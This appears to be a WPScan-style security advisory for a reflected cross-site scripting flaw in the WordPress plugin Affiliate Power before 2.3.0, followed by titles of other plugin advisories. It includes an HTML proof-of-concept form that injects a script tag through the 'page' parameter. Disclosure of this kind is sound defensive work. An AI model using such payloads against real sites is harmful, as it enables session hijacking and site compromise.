Affiliate Power < 2.3.0 – Reflected Cross-Site Scripting | Plugin Vulnerabilities

Description

The plugin does not escape the page parameter in its Affiliate Power Sales dashboard before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting issue

Proof of Concept

<html>
  <body>
    <form action="httsp://example.com/wp-admin/admin.php?page=affiliate-power" method="POST">
      <input type="hidden" name="page" value='"><script>alert(/XSS/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

affiliate-power

Fixed in 2.3.0

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

WPScanTeam

Verified

Yes

WPVDB ID

3ceba7d6-4034-4220-9d2e-89f59c2050e3

Timeline

Publicly Published

2021-09-13 (about 4 years ago)

Added

2021-09-13 (about 4 years ago)

Last Updated

2021-09-13 (about 4 years ago)

Other

Published

Title

Published

2026-03-20

Title

Any Post Slider <= 1.0.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'post_type' Shortcode Attribute

Published

2024-12-11

Title

Staggs Product Configurator for WooCommerce < 2.1.0 - Reflected Cross-Site Scripting

Published

2025-01-06

Title

Product Table for WooCommerce < 5.0.0 - Reflected XSS

Published

2025-04-10

Title

Spark GF Failed Submissions < 1.3.6 - Reflected Cross-Site Scripting

Published

2025-10-31

Title

Schema & Structured Data for WP & AMP < 1.52 - Authenticated (Contributor+) Stored Cross-Site Scripting